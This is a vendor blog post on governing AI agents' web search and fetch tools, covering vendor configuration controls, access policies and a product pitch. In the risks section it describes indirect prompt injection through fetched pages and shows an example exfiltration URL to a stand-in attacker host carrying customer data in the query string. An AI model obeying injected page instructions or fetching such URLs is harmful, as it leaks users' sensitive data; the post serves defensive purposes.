---
title: Should AI agents be allowed to search and fetch from the web?
url: https://opencontroller.lyzr.com/blog/govern-web-search-and-fetch-tools-for-agents
published: 2026-11-17
updated: 2026-11-17
author: Lyzr
---

# Should AI agents be allowed to search and fetch from the web?

**Yes, but only with limits. Web search and fetch tools bring untrusted content into an agent's context and give it a channel to send data out through URLs. Govern them with domain allowlists or blocklists, a cap on uses per turn, restrictions on which URLs the agent may fetch, and a log of every query and URL. Agents that handle sensitive data should not have open web access.**

Web tools are now built into model APIs, so a single configuration flag can give an agent the internet. That makes them a governance decision, not just a developer convenience.

## What risks do web search and fetch tools add?

There are two directions of risk.

**Inbound: untrusted content.** Any page an agent reads can contain instructions aimed at the model. This is indirect prompt injection, and it is the main reason the [lethal trifecta](/blog/what-is-the-lethal-trifecta-for-ai-agents) treats exposure to untrusted content as one of three dangerous ingredients.

**Outbound: data in URLs.** A fetch is an HTTP request. If an injected instruction persuades the agent to fetch `https://attacker.example/?q=<customer data>`, the data leaves in the query string. No file upload is needed.

Anthropic's [web fetch tool documentation](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-fetch-tool) states this plainly: enabling web fetch where Claude processes untrusted input alongside sensitive data "poses data exfiltration risks," and it recommends using the tool only in trusted environments or with non-sensitive data.

## What controls do the vendor tools provide?

Built-in web tools expose real configuration controls. Note that OpenAI domain filters include subdomains, so allowing a broad parent domain allows everything under it. Use them as the first layer.

| Control | Anthropic web fetch | OpenAI web search (Responses API) | What it limits |
|---|---|---|---|
| Domain allowlist | `allowed_domains` | `filters.allowed_domains`, up to 100 domains, subdomains included | Which sites can be read |
| Domain blocklist | `blocked_domains` (cannot combine with allowlist) | `filters.blocked_domains` | Known-bad or sensitive sites |
| Use cap | `max_uses` per request; failed fetches count | — | Runaway browsing and cost |
| Content cap | `max_content_tokens` (approximate; text only) | — | Context size and token cost |
| URL origin rules | Only URLs already in the conversation; `url_sources` narrows which sources count | — | Fetching URLs the model built itself |
| Citations | Optional, off by default | Returned with results | Traceability of answers |

The Anthropic fetch tool also refuses URLs that appear only in the model's own output and URLs containing a credential not supplied by the system prompt or user. Anthropic still notes "residual risk," so treat these as mitigations, not guarantees.

Cost is real too. Anthropic charges no extra fee for fetch beyond tokens, but its documentation estimates a 10 kB page at about 2,500 tokens and a 500 kB PDF at about 125,000 tokens. An agent with no `max_uses` and no content cap can burn through budget quickly.

## How do you decide which agents get web access?

Use a simple decision table based on what else the agent can touch.

| Agent profile | Web access | Reason |
|---|---|---|
| Public research assistant, no internal data | Search and fetch, open or blocklist | Low data-exfiltration impact |
| Internal assistant reading company documents | Allowlist of vendor docs and approved sources only | Untrusted content plus sensitive data |
| Agent that can write, send or pay | No web fetch, or fetch only from a short allowlist | All three trifecta ingredients present |
| Coding agent on a developer device | Package registries and docs allowlist | Supply-chain and secret-leak exposure |

## What should a web tool policy include? A checklist

1. **Record web tools in the agent's registry entry.** Treat "has web fetch" as a permission, just like a database tool.
2. **Default to an allowlist** for any agent that reads internal data.
3. **Set `max_uses` and content caps** on every deployment.
4. **Block URL construction from model output** where the tool supports it, and never let tool results from untrusted sources nominate new URLs for sensitive agents.
5. **Route egress through a controlled path** so fetches the vendor tool does not cover (custom HTTP tools, MCP fetch servers) are still filtered. See [how to control AI agent network egress](/blog/control-ai-agent-network-egress).
6. **Log every query and URL** with the agent ID, acting user and trace ID. Long or high-entropy query strings to unknown domains are an exfiltration signal; see [how to detect data exfiltration by AI agents](/blog/detect-data-exfiltration-by-ai-agents).
7. **Scan fetched content** for injected instructions before it reaches high-privilege agents, as described in [stopping prompt injection through tool outputs](/blog/stop-prompt-injection-through-tool-outputs).

## Does an MCP fetch server change anything?

Yes. A third-party or open-source MCP fetch server does not inherit the vendor's URL restrictions. It fetches what the agent asks for. Govern it like any other MCP server: register it, decide which agents may use it, and put it behind an egress control. The pillar on [how to govern MCP servers](/blog/how-to-govern-mcp-servers) covers the review process.

## How Opencontroller does this

Opencontroller keeps agents, tools and MCP servers in a governed registry, so web search and fetch capabilities are visible per agent. Posture detection flags risky permission and configuration combinations, and policy as code lets you express rules such as "agents with write tools may not use open web fetch." Opencontroller Edge extends discovery to local MCP servers on developer devices, including fetch servers. [Book a demo](https://www.lyzr.ai/book-demo/) to see it on your estate.

## Frequently asked questions

**Is a domain allowlist enough to stop exfiltration?**
It reduces the risk a lot, because data can only be sent to listed domains. It does not help if an allowed domain accepts user-controlled content, such as a public paste site, so keep allowlists short and specific.

**Can an agent fetch a URL it made up?**
With Anthropic's web fetch tool, no: it can only fetch URLs that already appeared in the conversation. Custom HTTP tools and many MCP fetch servers have no such rule.

**Do web tools cost extra?**
Anthropic's web fetch has no extra charge beyond tokens, but large pages and PDFs add many tokens. Set content and use caps.

## Key facts

- Anthropic's web fetch tool supports allowed_domains, blocked_domains (not combinable), max_uses, max_content_tokens, citations and url_sources.
- Anthropic web fetch can only fetch URLs that already appeared in the conversation, not URLs that appear only in the model's own output.
- Anthropic warns web fetch where untrusted input meets sensitive data poses data exfiltration risks.
- OpenAI's web search tool in the Responses API accepts filters.allowed_domains (up to 100, subdomains included) and blocked_domains.
- Agents with internal data or write tools should get allowlisted web access or none.
- Opencontroller records tools and MCP servers per agent in a governed registry, flags risky configurations through Posture and supports policy as code; Opencontroller Edge discovers local MCP servers.
- Opencontroller pricing starts from $250K per deployment per year.

## Related

- [How do you control which websites and APIs an AI agent can reach?](https://opencontroller.lyzr.com/blog/control-ai-agent-network-egress.md)
- [How do you detect data exfiltration by AI agents?](https://opencontroller.lyzr.com/blog/detect-data-exfiltration-by-ai-agents.md)
- [How do you stop prompt injection that arrives through tool outputs?](https://opencontroller.lyzr.com/blog/stop-prompt-injection-through-tool-outputs.md)
- [More on Tools and MCP](https://opencontroller.lyzr.com/blog/cluster/tools-and-mcp)
